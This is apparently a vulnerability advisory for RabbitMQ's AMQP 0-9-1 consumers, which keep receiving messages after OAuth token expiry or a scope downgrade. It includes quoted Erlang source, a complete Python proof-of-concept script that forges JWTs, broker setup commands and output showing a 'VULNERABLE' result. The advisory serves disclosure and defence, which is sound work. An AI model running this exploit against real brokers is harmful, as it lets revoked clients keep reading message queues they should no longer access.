CVE-2026-57218

Summary

RabbitMQ AMQP 0-9-1 allows a pre-existing consumer to keep receiving messages after OAuth token expiry and after connection.update_secret refresh to reduced scopes due to missing delivery-time reauthorization for already-registered consumers. The connection.update_secret path updates the user state on channels, but the channel-side handler only assigns the new user object and does not cancel or recheck existing consumers. Message delivery then proceeds through the normal basic.deliver path without a fresh authorization callback per delivery for that existing consumer. In the executed PoC, a new consumer after downgrade was denied with 403 ACCESS_REFUSED, while the old consumer on the same connection still received new messages. This demonstrates a real authorization-lifecycle gap limited to already-established AMQP 0-9-1 consumer flows.

Impact

A client that once had read access can continue receiving future queue messages on an already-established AMQP 0-9-1 consumer after its token has expired or been downgraded.

Description

The vulnerable flow starts when AMQP 0-9-1 accepts connection.update_secret and asynchronously pushes updated user state to all channels.

https://github.com/rabbitmq/rabbitmq-server/blob/83866edcc995602f546f3c4147078b3a610b0075/deps/rabbit/src/rabbit_reader.erl#L1331-L1356

handle_method0(#'connection.update_secret'{new_secret = NewSecret, reason = Reason},
               State = #v1{connection =
                               #connection{user       = User = #user{username = Username},
                                           log_name   = ConnName} = Conn,
                           sock       = Sock}) when ?IS_RUNNING(State) ->
    ?LOG_DEBUG(
      "connection ~ts of user '~ts': "
      "asked to update secret, reason: ~ts",
      [dynamic_connection_name(ConnName), Username, Reason]),
    case rabbit_access_control:update_state(User, NewSecret) of
      {ok, User1} ->
        %% User/auth backend state has been updated. Now we can propagate it to channels
        %% asynchronously and return. All the channels have to do is to update their
        %% own state.
        %%
        %% Any secret update errors coming from the authz backend will be handled in the other branch.
        %% Therefore we optimistically do no error handling here. MK.
        lists:foreach(fun(Ch) ->
          ?LOG_DEBUG("Updating user/auth backend state for channel ~tp", [Ch]),
          _ = rabbit_channel:update_user_state(Ch, User1)
        end, all_channels()),
        ok = send_on_channel0(Sock, #'connection.update_secret_ok'{}),
        ?LOG_INFO(
          "connection ~ts: user '~ts' updated secret, reason: ~ts",
          [dynamic_connection_name(ConnName), Username, Reason]),
        State#v1{connection = Conn#connection{user = User1}};

The next step updates channel user state by assignment only, without revalidating already-established consumers.

https://github.com/rabbitmq/rabbitmq-server/blob/83866edcc995602f546f3c4147078b3a610b0075/deps/rabbit/src/rabbit_channel.erl#L704-L713

      _ ->
            ok
    end,
    noreply(init_tick_timer(reset_tick_timer(State0)));
handle_info({update_user_state, User}, State = #ch{cfg = Cfg}) ->
    noreply(State#ch{cfg = Cfg#conf{user = User}}).


handle_pre_hibernate(State0) ->
    ok = clear_permission_cache(),

After that, deliveries continue through handle_deliver0/4 without a per-delivery authorization check in this code path.

https://github.com/rabbitmq/rabbitmq-server/blob/83866edcc995602f546f3c4147078b3a610b0075/deps/rabbit/src/rabbit_channel.erl#L2569-L2588

handle_deliver0(ConsumerTag, AckRequired,
                {QName, QPid, _MsgId, Redelivered, Mc} = Msg,
               State = #ch{cfg = #conf{writer_pid = WriterPid,
                                       writer_gc_threshold = GCThreshold,
                                       msg_interceptor_ctx = MsgIcptCtx},
                           next_tag   = DeliveryTag,
                           queue_states = Qs}) ->
    Exchange = mc:exchange(Mc),
    [RoutingKey | _] = mc:routing_keys(Mc),
    Content = outgoing_content(Mc, MsgIcptCtx),
    Deliver = #'basic.deliver'{consumer_tag = ConsumerTag,
                               delivery_tag = DeliveryTag,
                               redelivered  = Redelivered,
                               exchange     = Exchange,
                               routing_key  = RoutingKey},
    {ok, QueueType} = rabbit_queue_type:module(QName, Qs),
    case QueueType of
        rabbit_classic_queue ->
            ok = rabbit_writer:send_command_and_notify(
                   WriterPid, QPid, self(), Deliver, Content);

For contrast, AMQP 1.0 in the same codebase explicitly rechecks authz on refresh and closes unauthorized sessions.

https://github.com/rabbitmq/rabbitmq-server/blob/83866edcc995602f546f3c4147078b3a610b0075/deps/rabbit/src/rabbit_amqp_session.erl#L635-L646

handle_cast({reset_authz, User}, #state{cfg = Cfg} = State0) ->
    State1 = State0#state{
               permission_cache = [],
               topic_permission_cache = [],
               cfg = Cfg#cfg{user = User}},
    try recheck_authz(State1) of
        State ->
            noreply(State)
    catch exit:#'v1_0.error'{} = Error ->
              log_error_and_close_session(Error, State1)
    end;
handle_cast(shutdown, State) ->

The issue is triggered by creating a consumer while authorized, then letting token1 expire and refreshing to token2 without queue read scope; the executed run showed only new consumer creation was blocked while the pre-existing consumer still received messages.

Proof of Concept (PoC)

The finding was validated against the 83866edcc995602f546f3c4147078b3a610b0075 commit.

1. Create validation-environments/finding-675/poc_oauth_consumer.py with the exact content below.
2. This helper opens one authorized consumer, waits past token expiry, performs update_secret to a downgraded token, attempts a new consumer (expected denial), then verifies whether the old consumer still receives.

import time
import traceback

import jwt
import pika

HOST = '127.0.0.1'
PORT = 5672
VHOST = 'poc-oauth2-675'
QUEUE = 'victimq-675'
SIGN_KEY = 'tokenkey'
KID = 'token-key'


def mk_token(scopes, exp_secs):
    now = int(time.time())
    payload = {
        'exp': now + exp_secs,
        'iss': 'unit_test',
        'aud': ['rabbitmq'],
        'sub': 'attacker',
        'scope': scopes,
    }
    return jwt.encode(payload, SIGN_KEY, algorithm='HS256', headers={'kid': KID})


def wait_for(messages, expected, conn, timeout=4.0):
    deadline = time.time() + timeout
    while time.time() < deadline:
        conn.process_data_events(time_limit=0.2)
        if expected in messages:
            return True
    return False


def main():
    scope_read_q = f'rabbitmq.read:{VHOST}/{QUEUE}'
    scope_write_all = f'rabbitmq.write:{VHOST}/*'
    scope_read_other = 'rabbitmq.read:somewhere-else/*'

    token1 = mk_token([scope_read_q, scope_write_all], exp_secs=3)
    token2 = mk_token([scope_write_all, scope_read_other], exp_secs=300)

    pub_conn = pika.BlockingConnection(
        pika.ConnectionParameters(host=HOST, port=PORT, virtual_host=VHOST,
                                  credentials=pika.PlainCredentials('guest', 'guest'), heartbeat=10)
    )
    pub_ch = pub_conn.channel()

    atk_conn = pika.BlockingConnection(
        pika.ConnectionParameters(host=HOST, port=PORT, virtual_host=VHOST,
                                  credentials=pika.PlainCredentials('attacker', token1), heartbeat=10)
    )
    ch1 = atk_conn.channel()
    ch1.queue_declare(queue=QUEUE, passive=True)

    received = []

    def on_msg(ch, method, props, body):
        received.append(body)

    tag = ch1.basic_consume(queue=QUEUE, on_message_callback=on_msg, auto_ack=True)

    pub_ch.basic_publish(exchange='', routing_key=QUEUE, body=b'msg_before_expiry')
    ok1 = wait_for(received, b'msg_before_expiry', atk_conn, timeout=3.0)
    print(f'received_1={received[-1] if received else None!r}')

    time.sleep(4)
    pub_ch.basic_publish(exchange='', routing_key=QUEUE, body=b'msg_after_token1_expired')
    ok2 = wait_for(received, b'msg_after_token1_expired', atk_conn, timeout=3.0)
    print(f'received_2={received[-1] if received else None!r}')

    atk_conn.update_secret(token2, 'token refresh downgrade')

    downgrade_result = 'unexpected_success'
    ch2 = atk_conn.channel()
    try:
        ch2.basic_consume(queue=QUEUE, on_message_callback=lambda *args: None, auto_ack=True)
        downgrade_result = 'unexpected_success'
    except Exception as e:
        downgrade_result = repr(e)
    print(f'new_consume_after_downgrade={downgrade_result}')

    pub_ch.basic_publish(exchange='', routing_key=QUEUE, body=b'msg_after_downgrade')
    ok3 = wait_for(received, b'msg_after_downgrade', atk_conn, timeout=3.0)
    print(f'received_3={received[-1] if received else None!r}')

    vulnerable = ok1 and ok2 and ok3 and ('ACCESS_REFUSED' in downgrade_result or '403' in downgrade_result)
    print('VULNERABLE' if vulnerable else 'NOT_VULNERABLE')

    try:
        ch1.basic_cancel(tag)
    except Exception:
        pass
    try:
        ch1.close()
    except Exception:
        pass
    try:
        ch2.close()
    except Exception:
        pass
    atk_conn.close()
    pub_conn.close()
    return 0 if vulnerable else 1


if __name__ == '__main__':
    try:
        raise SystemExit(main())
    except Exception:
        traceback.print_exc()
        raise SystemExit(2)

PoC Steps

1. Start RabbitMQ with management enabled, reachable at 127.0.0.1:5672 and 127.0.0.1:15672.
2. Enable OAuth2 backend:

docker exec bbval-rabbitmq-server rabbitmq-plugins enable rabbitmq_auth_backend_oauth2

1. Configure OAuth signing key and backend order:

docker exec bbval-rabbitmq-server rabbitmqctl eval '
Jwk = #{<<"alg">> => <<"HS256">>, <<"k">> => <<"dG9rZW5rZXk">>, <<"kid">> => <<"token-key">>, <<"kty">> => <<"oct">>, <<"use">> => <<"sig">>, <<"value">> => <<"token-key">>},
KeyConfig = [{signing_keys, #{<<"token-key">> => {map, Jwk}}}],
application:set_env(rabbitmq_auth_backend_oauth2, key_config, KeyConfig),
application:set_env(rabbitmq_auth_backend_oauth2, resource_server_id, <<"rabbitmq">>),
application:set_env(rabbit, auth_backends, [rabbit_auth_backend_oauth2, rabbit_auth_backend_internal]),
ok.
'

1. Create PoC vhost and queue:

curl -sS -u guest:guest -H 'content-type: application/json' -X PUT http://127.0.0.1:15672/api/vhosts/poc-oauth2-675 -d '{}'
curl -sS -u guest:guest -H 'content-type: application/json' -X PUT http://127.0.0.1:15672/api/permissions/poc-oauth2-675/guest -d '{"configure":".*","write":".*","read":".*"}'
curl -sS -u guest:guest -H 'content-type: application/json' -X PUT http://127.0.0.1:15672/api/queues/poc-oauth2-675/victimq-675 -d '{"auto_delete":false,"durable":false,"arguments":{}}'
curl -sS -u guest:guest -X DELETE http://127.0.0.1:15672/api/queues/poc-oauth2-675/victimq-675/contents

1. Prepare runtime dependencies:

python3 -m venv ./.bb-artifacts/venv675
./.bb-artifacts/venv675/bin/pip install pika PyJWT

1. Run PoC and capture logs:

./.bb-artifacts/venv675/bin/python ./validation-environments/finding-675/poc_oauth_consumer.py > ./validation-environments/finding-675/poc_output.log 2>&1
echo $? > ./validation-environments/finding-675/poc_exit_code.txt

1. Read results:

cat ./validation-environments/finding-675/poc_output.log
cat ./validation-environments/finding-675/poc_exit_code.txt

PoC Results

Observed runtime output from the executed PoC:

received_1=b'msg_before_expiry'
received_2=b'msg_after_token1_expired'
new_consume_after_downgrade=ChannelClosedByBroker: (403) "ACCESS_REFUSED - read access to queue 'victimq-675' in vhost 'poc-oauth2-675' refused for user 'attacker'"
received_3=b'msg_after_downgrade'
VULNERABLE

Observed exit code:

0

This shows a narrower but decisive effect: after downgrade, new consumer creation is denied, yet the already-established consumer still receives post-downgrade deliveries.